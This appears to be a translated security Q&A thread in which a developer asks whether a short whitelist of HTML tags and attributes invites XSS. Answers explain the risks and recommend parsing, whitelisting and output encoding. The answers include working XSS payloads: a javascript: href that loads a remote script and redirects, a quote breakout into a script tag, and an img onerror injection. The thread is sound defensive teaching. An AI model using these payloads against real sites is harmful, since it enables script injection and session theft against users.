¿Estas etiquetas html y atributos hacen que mi sitio sea vulnerable?

3

Estoy desarrollando un sitio web social y quiero permitirle al usuario SOLAMENTE estas etiquetas y atributos html en sus publicaciones:

tags:  <img>, <b>, <strong>, <blockquote>, <a>
attributes:  'src', 'alt', 'width', 'height', 'href', 'class'

Me pregunto si permitir que alguno de ellos pueda abrir la puerta a algunos XSS u otras vulnerabilidades.

    
pregunta Jand 02.09.2015 - 23:30
fuente

3 respuestas

7

El atributo Src podría llevar a XSS si permite que el usuario defina el protocolo, por ejemplo, para ingresar javascript: en lugar de http:

Ejemplo: <a src=javascript:alert()>

Además, debe usar la codificación de salida adecuada para las variables controladas por el usuario para que el usuario no pueda escapar del atributo / etiqueta. Por ejemplo, si tiene la siguiente etiqueta:

<a href="USER CONTROLLED DATA">

Sin una correcta codificación de salida, el usuario podría ingresar los siguientes datos:

"><script>alert();</script>

Lo que significaría que la etiqueta se vería así:

<a href=""><script>alert();</script>">
    
respondido por el pineappleman 02.09.2015 - 23:54
fuente
2

XSS

Incluso si asumimos que sus filtros funcionan a la perfección (lo que no haría de forma automática, el filtrado es bastante complejo y fácil de equivocar), esto puede llevar a XSS.

Debido a que no se ha mencionado aún: a en combinación con un href sin filtrar no es seguro, ya que se ejecutará JavaScript. Un atacante puede cargar un script remoto y luego redirigir para que el enlace actúe como un enlace normal:

<a href="javascript:s=document.createElement('script');s.src='http://localhost/s.js';document.body.appendChild(s);window.location='http://www.google.com/'">click</a>

La víctima tiene que hacer clic en el enlace, pero un atacante puede proporcionar un enlace interesante o usar ClickJacking para lograrlo.

Encodificación

Debido a que mencionó en un comentario que no usa ninguna codificación, sino solo el filtrado de etiquetas: si no codifica comillas, un atacante puede salir del contexto del atributo actual. Por ejemplo:

<img src="user_input">

con

user_input = invalid" onerror="alert(1)

lleva a

<img src="invalid" onerror="alert(1)">

que será ejecutado por todos los navegadores.

    
respondido por el tim 03.09.2015 - 08:53
fuente
1

Para agregar a la respuesta existente: también podría ser posible hacer un mal uso del atributo de clase, dependiendo de su código. Solo imagine que su aplicación web tiene algún código que se enlaza con cualquier elemento de una clase específica o cualquiera que muestre un comportamiento específico (que puede ser establecido por la clase). En este caso, este código podría activarse si permite que el usuario use cualquier nombre de clase en su HTML. Y como el código no se espera que se ejecute en el contexto definido por el HTML de los usuarios, esto podría generar resultados inesperados.

Por supuesto, también podría tener enlaces de código basados en la etiqueta o atributos específicos que pueden utilizarse incorrectamente de manera similar con las otras etiquetas y atributos que permite. Pero tener enlaces para una clase es más común.

Aparte de eso, no uses ningún tipo de expresión regular para filtrar cosas malas (como pretendes según tus comentarios). Si realmente desea permitir que HTML lo trate como cualquier otro tipo de marca, es decir, analícelo en un formulario interno y luego cree el HTML resultante a partir de este. Y, por supuesto, debe verificar y tal vez modificar cualquier valor de atributo que reciba del usuario, es decir, limitar los nombres de clase a un conjunto de la lista blanca, eliminar las URL, eliminar adecuadamente cualquier contenido de la etiqueta alt, limitar el tamaño de ancho y alto (o mejor: obtenga esta información de la imagen en sí) ... Nunca debe intentar quitar las cosas aparentemente malas de la entrada del usuario porque habrá suficientes formas de evitar estas listas negras. Los navegadores interpretan HTML roto de manera creativa.

    
respondido por el Steffen Ullrich 03.09.2015 - 07:33
fuente

Lea otras preguntas en las etiquetas